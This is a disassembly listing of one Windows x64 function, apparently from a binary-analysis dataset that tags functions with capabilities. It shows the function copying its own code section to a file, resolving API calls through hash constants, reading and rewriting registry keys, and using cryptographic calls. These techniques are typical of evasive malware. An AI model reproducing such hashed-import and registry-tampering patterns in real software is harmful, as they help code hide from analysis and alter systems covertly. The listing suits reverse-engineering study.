Function at 0x1402e8000
Capabilities:
Terminate process
Write file on windows

Disassembly:
enter pe_nt_image_headers64, 0
sub rsp, 0x260
mov rcx, 0x40
mov rdx, 0x1308
call qword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov qword [rbp - 0xa8], rax
mov r12, rax
mov rcx, rax
call fcn.1402e940c
mov rcx, 0x1c0
lea rdx, [r12 + 0x408]
lea r8, [0x1402ea070]
lea r9, [rbp - 0x25c]
call fcn.1402e91f3
mov rcx, qword [rbp - 0xa8]
call qword [sym.imp.KERNEL32.DLL_GlobalFree]
lea r12, [rbp - 0x25c]
lea rcx, [r12 + 0x1a0]
movabs rdx, 0xc0000000
mov r8, 3
mov r9, 0
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov qword [rbp - 0x98], rax
mov rcx, qword [rbp - 0x98]
lea rdx, section..text
mov r8, qword [0x1402ea05c]
lea r9, [rbp - 0xa0]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, qword [rbp - 0x98]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.1402e987e
mov rcx, 0x40
mov rdx, 0x800
call qword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov qword [rbp - 0x78], rax
mov rcx, 0x40
mov rdx, 0x800
call qword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov qword [rbp - 0x90], rax
mov r10, 0x53c509b2
movabs rcx, 0xffffffff80000000
lea rdx, [r12 + 0x171]
xor r8d, r8d
mov r9d, 0x20019
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
call fcn.1402e991e
mov qword [rbp - 0x80], 0x114
mov r10, 0xffffffffdaf93380
mov rcx, qword [rbp - 0x70]
lea rdx, [r12 + 0x190]
xor r8d, r8d
xor r9d, r9d
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
call fcn.1402e991e
cmp rax, 0
jne 0x1402e820a
cmp qword [rbp - 0x80], 0x114
jne 0x1402e820a
mov qword [rbp - 0x80], 0x500
mov r10, 0xffffffffdaf93380
mov rcx, qword [rbp - 0x70]
lea rdx, [r12 + 0x191]
xor r8d, r8d
xor r9d, r9d
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
call fcn.1402e991e
cmp eax, 0
jne 0x1402e820a
cmp qword [rbp - 0x80], 0x500
jne 0x1402e820a
mov r10, 0xffffffffe928ad37
mov rcx, qword [rbp - 0x70]
call fcn.1402e991e
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.DLL_GlobalFree]
mov rcx, qword [rbp - 0x90]
call qword [sym.imp.KERNEL32.DLL_GlobalFree]
call fcn.1402e8547
mov r10, 0x200421c8
lea rcx, [rbp - 0x88]
xor edx, edx
xor r8d, r8d
mov r9d, 1
movabs rax, 0xf0000020
mov qword [rsp + 0x20], rax
call fcn.1402e991e
cmp eax, 1
je 0x1402e8248
mov byte [0x1402ea064], 0x31
jmp 0x1402e8518
mov r10, 0x2a2cb6af
mov rcx, qword [rbp - 0x88]
mov edx, 1
mov r8d, 0x8000001
lea r9, [rbp - 0x68]
call fcn.1402e991e
cmp eax, 1
je 0x1402e827b
mov byte [0x1402ea064], 0x32
jmp 0x1402e8518
mov qword [rbp - 0x80], 0x494
mov rdi, qword [rbp - 0x78]
mov r10, 0x3b58fffa
mov rcx, qword [rbp - 0x68]
xor edx, edx
xor r9d, r9d
mov r8d, 7
lea rax, [rdi + 0x200]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
call fcn.1402e991e
cmp eax, 1
je 0x1402e82c8
mov byte [0x1402ea064], 0x33
jmp 0x1402e8518
mov qword [rbp - 0x80], 0x114
mov r10, 0x3b58fffa
mov rcx, qword [rbp - 0x68]
xor edx, edx
xor r9d, r9d
mov r8d, 6
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
call fcn.1402e991e
cmp eax, 1
je 0x1402e830e
mov byte [0x1402ea064], 0x34
jmp 0x1402e8518
mov r10, 0xffffffff831702c0
mov rcx, qword [rbp - 0x68]
call fcn.1402e991e
mov r10, 0xffffffffbb58f4fb
mov rcx, qword [rbp - 0x88]
lea rdx, [r12]
mov r8d, 0x114
xor r9d, r9d
mov qword [rsp + 0x20], r9
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
call fcn.1402e991e
cmp eax, 1
je 0x1402e835d
mov byte [0x1402ea064], 0x35
jmp 0x1402e8518
mov r13, 5
mov rsi, qword [rbp - 0x78]
add rsi, 0x200
mov rdi, qword [rbp - 0x90]
mov r11, rdi
mov rcx, 0xf4
mov qword [rbp - 0x80], rcx
cld
rep movsb byte [rdi], byte [rsi]
mov r10, 0xfffffffff870fa53
mov rcx, qword [rbp - 0x68]
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r11
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0x100
call fcn.1402e991e
add rdi, 0xc
dec r13
jne 0x1402e8376
mov r10, 0xffffffff831702c0
mov rcx, qword [rbp - 0x68]
call fcn.1402e991e
mov r10, 0xffffffffd04d0dcd
movabs rcx, 0xffffffff80000000
lea rdx, [r12 + 0x171]
lea r8, [rbp - 0x70]
call fcn.1402e991e
cmp eax, 0
je 0x1402e8402
mov byte [0x1402ea064], 0x36
jmp 0x1402e8518
mov r10, 0x329b253b
mov rcx, qword [rbp - 0x70]
lea rdx, [r12 + 0x190]
xor r8d, r8d
mov r9d, 3
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x114
call fcn.1402e991e
mov r10, 0x329b253b
mov rcx, qword [rbp - 0x70]
lea rdx, [r12 + 0x191]
xor r8d, r8d
mov r9d, 3
mov rax, qword [rbp - 0x90]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x500
call fcn.1402e991e
mov r10, 0x329b253b
mov rcx, qword [rbp - 0x70]
lea rdx, [r12 + 0x192]
xor r8d, r8d
mov r9d, 1
lea rax, [r12 + 0x143]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x2e
call fcn.1402e991e
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov r10, 0x53c509b2
movabs rcx, 0xffffffff80000002
lea rdx, [r12 + 0x114]
xor r8d, r8d
mov r9d, 0xf013f
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
call fcn.1402e991e
mov r10, 0x329b253b
mov rcx, qword [rbp - 0x70]
lea rdx, [r12 + 0x18e]
xor r8d, r8d
mov r9d, 1
lea rax, [r12 + 0x161]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x10
call fcn.1402e991e
jmp 0x1402e81de
mov rcx, 0
lea rdx, [0x1402ea064]
lea r8, str.ERROR___
mov r9, 0
call qword [sym.imp.user32.dll_MessageBoxA]
mov rcx, 0
call qword [sym.imp.KERNEL32.DLL_ExitProcess]